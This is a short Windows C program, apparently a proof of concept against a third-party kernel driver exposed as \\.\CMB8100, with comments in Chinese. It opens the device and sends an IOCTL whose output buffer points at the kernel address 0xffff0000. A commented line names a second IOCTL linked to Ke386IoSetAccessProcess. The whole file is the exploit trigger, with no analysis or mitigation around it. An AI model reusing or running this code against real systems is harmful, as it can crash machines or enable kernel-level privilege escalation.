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#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DEVICE_NAME "\\\\.\\CMB8100"
#define IOCTL_CODE  0x80102040
// #define IOCTL_CODE  0x8010204C//Ke386IoSetAccessProcess关闭
int main(int argc, char* argv[])
{
    HANDLE hDevice    =    INVALID_HANDLE_VALUE;
    BOOL   bRet            =    FALSE;
    DWORD dwOutput;
    //输入缓冲区作为输入，输出缓冲区作为输出
    DWORD InputBuffer[64]={0}; 
	DWORD outputBuffer[64]={0};  
     hDevice = CreateFile(DEVICE_NAME,GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if(hDevice == NULL) 
	{
        printf("[!] Cannot open a handle to the driver, it is probably not loaded. ");
        printf("Error : %d\n", GetLastError());
		return 0;
    }
     
	InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可
    bRet   =  DeviceIoControl(hDevice, IOCTL_CODE,InputBuffer, 10, (PVOID)(0xffff0000),0, &dwOutput, NULL);
 
   if(FALSE    ==    bRet)
   {
        printf("[!] send ioctl fail!\r\n");
        printf("Error : %d\n", GetLastError());
    }
   CloseHandle(hDevice);
    
    return 0;
}